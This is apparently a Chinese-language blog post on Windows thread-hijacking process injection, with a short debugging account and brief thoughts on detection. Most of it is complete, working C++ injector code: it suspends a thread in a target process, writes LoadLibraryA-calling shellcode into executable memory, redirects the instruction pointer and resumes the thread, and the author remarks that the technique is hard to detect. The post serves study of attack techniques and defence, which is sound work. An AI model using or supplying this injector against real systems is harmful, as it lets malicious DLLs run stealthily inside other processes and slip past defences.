windows进程注入技术——线程劫持C++示例和检测思考
线程劫持:运行方法
C:\Users\l00379637\source\repos\thread_hijack\x64\Release\thread_hijack.exe 18132 C:\Users\l00379637\source\repos\injected_dll\x64\Release\injected_dll.dll Process ID: 18132 Injected!
劫持效果:
劫持代码如下:
#include <iostream> #include <Windows.h> #include <TlHelp32.h> #include <system_error> constexpr SIZE_T PAGE_SIZE = 1 << 12; /// <summary> /// Print the human-readable error message cause while execution of the function and exit if TRUE /// </summary> /// <param name="lpFunction">Function name caused error</param> /// <param name="bExit">Whether to exit after printing error or not (TRUE/FALSE)</param> VOID PrintError(LPCSTR lpFunction, BOOL bExit = FALSE) { DWORD dwErrorCode = GetLastError(); std::cout << "[" << dwErrorCode << "] " << lpFunction << ": "; if (dwErrorCode == 0x0) { std::cout << "Undefined error\n"; } else { std::cout << "error code:" << dwErrorCode << std::endl; } if (bExit) { ExitProcess(1); } } HANDLE GetFirstThead(DWORD dwPID) { HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0x0); HANDLE hThread = NULL; THREADENTRY32 te{}; te.dwSize = sizeof(THREADENTRY32); if (!Thread32First(hSnap, &te)) { CloseHandle(hSnap); return hThread; } do { if (te.th32OwnerProcessID == dwPID) { // SET_CONTEXT is used to change the values of the registers // GET_CONTEXT is used to retrieve the initial values of the registers // SUSPEND and RESUME are required because instruction pointer can not be changed for running thread hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID); if (hThread != NULL) { break; } } } while (Thread32Next(hSnap, &te)); CloseHandle(hSnap); return hThread; } BOOL DoInjection(HANDLE hProcess, HANDLE hThread, LPCSTR lpDllPath) { #ifdef _WIN64 BYTE code[] = { // sub rsp, 28h 0x48, 0x83, 0xec, 0x28, // mov [rsp + 18], rax 0x48, 0x89, 0x44, 0x24, 0x18, // mov [rsp + 10h], rcx 0x48, 0x89, 0x4c, 0x24, 0x10, // mov rcx, 11111111111111111h 0x48, 0xb9, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, // mov rax, 22222222222222222h 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, // call rax 0xff, 0xd0, // mov rcx, [rsp + 10h] 0x48, 0x8b, 0x4c, 0x24, 0x10, // mov rax, [rsp + 18h] 0x48, 0x8b, 0x44, 0x24, 0x18, // add rsp, 28h 0x48, 0x83, 0xc4, 0x28, // mov r11, 333333333333333333h 0x49, 0xbb, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, // jmp r11 0x41, 0xff, 0xe3 }; #else BYTE code[] = { 0x60, 0x68, 0x11, 0x11, 0x11, 0x11, 0xb8, 0x22, 0x22, 0x22, 0x22, 0xff, 0xd0, 0x61, 0x68, 0x33, 0x33, 0x33, 0x33, 0xc3 }; #endif if (SuspendThread(hThread) == -1) { return FALSE; } LPVOID lpBuffer = VirtualAllocEx( hProcess, nullptr, PAGE_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if (lpBuffer == nullptr) { ResumeThread(hThread); return FALSE; } CONTEXT ctx{}; ctx.ContextFlags = CONTEXT_ALL; if (!GetThreadContext(hThread, &ctx)) { ResumeThread(hThread); return FALSE; } HMODULE hKernel32 = GetModuleHandleA("kernel32.dll"); if (hKernel32 == NULL) { ResumeThread(hThread); return FALSE; } LPVOID lpLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA"); if (lpLoadLibraryA == NULL) { ResumeThread(hThread); return FALSE; } #ifdef _WIN64 * (LPVOID*)(code + 0x10) = (LPVOID)((CHAR*)lpBuffer + (PAGE_SIZE / 2)); *(LPVOID*)(code + 0x1a) = lpLoadLibraryA; *(PLONGLONG)(code + 0x34) = ctx.Rip; #else * (LPVOID*)(code + 2) = (LPVOID)((CHAR*)lpBuffer + (PAGE_SIZE / 2)); *(LPVOID*)(code + 7) = lpLoadLibraryA; *(PUINT)(code + 0xf) = ctx.Eip; #endif if (!WriteProcessMemory( hProcess, lpBuffer, code, sizeof(code), nullptr )) { ResumeThread(hThread); return FALSE; } if (!WriteProcessMemory( hProcess, (CHAR*)lpBuffer + (PAGE_SIZE / 2), lpDllPath, strlen(lpDllPath), nullptr )) { ResumeThread(hThread); return FALSE; } #ifdef _WIN64 ctx.Rip = (ULONGLONG)lpBuffer; #else ctx.Eip = (DWORD)lpBuffer; #endif if (!SetThreadContext(hThread, &ctx)) { ResumeThread(hThread); return FALSE; } ResumeThread(hThread); return TRUE; } INT main(INT argc, CHAR** argv) { // C:\Users\l00379637\source\repos\thread_hijack\x64\Release\thread_hijack.exe pid C:\Users\l00379637\source\repos\injected_dll\x64\Release\injected_dll.dll if (argc < 3) { std::cerr << "usage: " << argv[0] << " PID DLL_PATH\n"; return 0x1; } std::cout << "Process ID: " << argv[1] << std::endl; DWORD dwPID = atoi(argv[1]); CHAR wzDllFullPath[MAX_PATH] = { 0 }; strcpy_s(wzDllFullPath, argv[2]); /* DWORD dwPID = 11740; CHAR wzDllFullPath[MAX_PATH] = "C:\\Users\\l00379637\\source\\repos\\injected_dll\\x64\\Release\\injected_dll.dll";// "C:\\Users\\l00379637\\source\\repos\\test_dll\\Release\\test_dll.dll"; */ HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID); if (hProcess == nullptr) { PrintError("OpenProcess()", TRUE); } HANDLE hThread = GetFirstThead(dwPID); if (hThread == NULL) { PrintError("GetFirstThead()", TRUE); } // wzDllFullPath = argv[2]; if (!DoInjection(hProcess, hThread, wzDllFullPath)) { PrintError("DoInjection()", TRUE); } std::cout << "Injected!\n"; return 0x0; }
DLL代码参考:https://www.cnblogs.com/bonelee/p/17705390.html
为了了解原理,我自己debug了下,因为dll路径不正确,导致劫持无效果,因此有了下面的调试过程:
先是被劫持后的exe内存情况,可以看到执行“劫持”代码的内存分配,其中1和2是关键!
对应下面shellcode:
2是程序劫持完以后要返回源程序!所以要修改rip:
但是代码执行完,
却没有实现真正的劫持效果:
不用记事本,我们单独写一个程序调试下:
写一个sleep程序,然后断点:
可以看到在没有运行resume thread前,sleep的程序果然挂住了!如上图所示。并且劫持的程序结束以后,sleep程序会继续正常向前运行。
为了找到问题所在:设置一个断点,然后执行完resume thread看看:
还是成功断住了!
跟进去调用dll的地方
可以看到确实是调用了该dll!但是为什么没有弹出messagebox呢?
并且动态加载的模块里也没有该dll:
怀疑是我的路径字符串出错。实际运行发现并没有问题:如下
我++,SB了,原来是我自己的DLL路径不对!!!更换正确的DLL路径即可实现劫持效果!
如下:
附下:
sleep调试进程代码:
// sleephere.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 #include <windows.h> #include <synchapi.h> #include <iostream> int main() { std::cout << "Hello World!\n"; DWORD pid = GetCurrentProcessId(); std::cout << "当前进程的PID是: " << pid << std::endl; int i = 0; while (1) { SleepEx(3000, true); std::cout << "You are done? " << i; i += 1; } std::cout << "Exit!\n"; }
检测:
可以看到是直接修改进程上下文,GetThreadContext、修改rip以后,然后SetThreadContext再resumethread,让其执行注入的shellcode!
所以这种劫持情况,上述几个os api的hook性价比有点低。检测起来也比较隐蔽。GG!!!